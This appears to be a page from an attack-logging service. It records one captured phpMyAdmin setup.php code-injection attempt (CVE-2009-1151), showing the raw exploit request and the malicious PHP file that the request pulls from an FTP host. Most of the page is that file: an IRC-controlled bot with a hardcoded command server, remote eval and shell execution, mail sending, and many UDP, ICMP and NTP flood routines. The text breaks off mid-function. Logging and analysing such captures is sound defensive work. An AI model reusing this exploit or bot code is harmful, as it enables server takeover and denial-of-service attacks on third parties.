Help on available search operators
Operators
tag: filter by relevant keywords (e.g., shellshock)
port: filter by destination port
attacker: filter by attacker IP address
country: filter by attacker country (2 letters)
since: filter since provided date (dd/mm/yyyy format)
plugin: filter by plugin ID
resource: filter requests with a resource with the given MD5
Hints
The minus operator - can be used to exclude the results containing a given keyword.
You can combine different operators, or provide multiple values for each one using comma as separator.
e.g., port:80,8080
e.g., port:80 -scripts/setup.php
e.g., upload?org.apache.catalina.filters port:8080
1-1 of 1 results (1 page)
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
[Attack info]
Attacker:
134.209.206.84
Dest. port: 80
Time: 27/09/2020 03:47:50
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS14061 DigitalOcean, LLC
Location: North Holland, Amsterdam (zipcode 1098)
Description
phpMyAdmin is prone to a remote PHP code-injection vulnerability on the page "setup.php". An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Versions prior to phpMyAdmin 2.11.9.5 and 3.1.3.1 are vulnerable.CVE
CVE-2009-1151Author
Adrian "pagvac" PastorPlugin ID
oosheefee1baixeinief5nociu5shohhPOST /phpMyAdmin-2/scripts/setup.php HTTP/1.1
Content-Length: 241
cookie2: $Version="1"
Host: 169.68.221.237
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://169.68.221.237/phpMyAdmin-2/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded
action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A32%3A%22ftp%3A%2F%2F134%2E122%2E56%2E20%2Fpub%2Fking%2Ephp%22%3B%7D%7D
Resource ( 1 / 1 )
MD5: 6a79e40e719e7a275a7cedbb958b1cf9
Type: text/x-php
Size: 52747
URL: ftp://134.122.56.20/pub/king.php
<?php
// Php My Admin PMA Bot
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))[email protected]_exec($command);
elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class sell
{
var $config = array(
"server"=>"45.63.65.49", // Server IP
"port"=>"443", // Server Connection Port
"password"=>"", // Server Connection password
"prefix"=>"-", // Bot Name
"maxrand"=>"8", // Random Character Length
"chan"=>"#hellroom", // Main Channel
"key"=>"W", // Main Channel
"Windows"=>"#Windows", // Windows Device Channel
"Linux"=>"#Linux", // Linux Device Channel
"trigger"=>"-", // Command Prefix
"maxtime"=>"120" // Max Time
);
var $users = array();
var $adminconfig = array("NetGodServers", "", "");
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$pass = $this->config['password'];
$alph = range("0","9");
$this->send("PASS ".$pass."");
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
else $ident = "Linux";
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(strpos($this->buf, '(Too many connections from your IP)')!==false) { fclose($this->conn); exit();}
if(isset($cmd[1]) && $cmd[1] =="001") {
$this->auth($this->config['auth']);
$this->join($this->config['chan'],$this->config['key']);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("".$this->config['Windows']."");
else $this->join("".$this->config['Linux']."");
continue;
}
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if(substr($mcmd[0],0,1)=="".$this->config['trigger']."")
{
switch(substr($mcmd[0],1))
{
case "mail":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Failed Sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "maxtime":
$this->notice($nick, "0[\20The Max Time is9 ".$this->config['maxtime']."sec0!\2]");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"9[\2Info\2]:0 ".$uname." (safe: ".$safemode.")");
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
if (!in_array($nick, $this->adminconfig)) {
break;
}
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
if (!in_array($nick, $this->adminconfig)) {
break;
}
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "Time":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['maxtime']) {
$this->notice($nick, "0[\20Time is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['maxtime'] = $mcmd[1];
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Time>");
}
break;
case "Nick":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['prefix']) {
$this->notice($nick, "0[\20Nickname is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['prefix'] = $mcmd[1];
$this->set_nick();
$this->main();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Nick>");
}
break;
case "ntp":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "[\2NTP Started on Host: ".$host." on Port: ".$port." For ".$time."sec!\2]");
for($i=0;$i<$packetsize;$i++) { $packet .= chr("\x17\x00\x03\x2a\x00\x00\x00\x00"); }
$end = time() + $time;
$fp = fsockopen("udp://".$host,$port,$e,$s,8);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[NTP]: requests sent: ".$vel." to ".$host.":".$port.": Fails: ".$f);
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "icmp":
if ($mcmd[2] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
$host = $mcmd[1];
$time = $mcmd[2];
if(count($mcmd)>2) {
$this->privmsg($this->config['chan'],"[ICMP]: Flood Started!");
$timeout = 0;
$package = "\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00\x08\x00\x7d\x4b\x00\x00\x00\x00";
$socket = socket_create(AF_INET, SOCK_RAW, 1);
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
$end = time() + $time;
$i = 0;
socket_connect($socket, $host, 1);
while($end > time())
{
socket_send($socket, $package, (strLen($package)+900 ), 0);
if($i >= 1000)
{
sleep(1);
$i = 0;
}
$i++;
}
socket_close($socket);
$this->privmsg($this->config['chan'],"[ICMP]: Finished: sent: ".$i." connections to ".$host);
}
else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <time>");}
break;
break;
case "udpstd":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>3) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = 100;
$this->notice($nick, "9[\2UdpSTD\2]0[\2Started on Host:4 ".$host."0 on port:4 ".$port."0 For3 ".$time."3sec!\20]");
$msgg = "STD";
for($i=0;$i<$packetsize;$i++) { $msgg .= chr(rand(1,256)); }
$end = time() + $time;
$i = 0;
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$msgg);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2UdpSTD\2]0[\2Finished on Host:4 ".$host."!\20]10: ".$env." MB sent / Average: ".$vel." MB/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time>");}
break;
case "udpflood":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on Host:4 ".$host."14 using port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k on Host:4 ".$host."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpfloodtwo":
if ($mcmd[4] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>5) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$port = $mcmd[3];
$time = $mcmd[4];
$packetsize = $mcmd[5];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <port> <time> <size>");}
break;
case "udpfloodthree":
if ($mcmd[5] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>6) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$port = $mcmd[4];
$time = $mcmd[5];
$packetsize = $mcmd[6];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <port> <time> <size>");}
break;
case "udpfloodfour":
if ($mcmd[6] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>7) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$port = $mcmd[5];
$time = $mcmd[6];
$packetsize = $mcmd[7];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <port> <time> <size>");}
break;
case "udpfloodfive":
if ($mcmd[7] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>8) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$port = $mcmd[6];
$time = $mcmd[7];
$packetsize = $mcmd[8];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <port> <time> <size>");}
break;
case "udpfloodsix":
if ($mcmd[8] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>9) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$port = $mcmd[7];
$time = $mcmd[8];
$packetsize = $mcmd[9];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <port> <time> <size>");}
break;
case "udpfloodseven":
if ($mcmd[9] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>10) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$port = $mcmd[8];
$time = $mcmd[9];
$packetsize = $mcmd[10];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <port> <time> <size>");}
break;
case "udpfloodeight":
if ($mcmd[10] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>11) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$port = $mcmd[9];
$time = $mcmd[10];
$packetsize = $mcmd[11];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
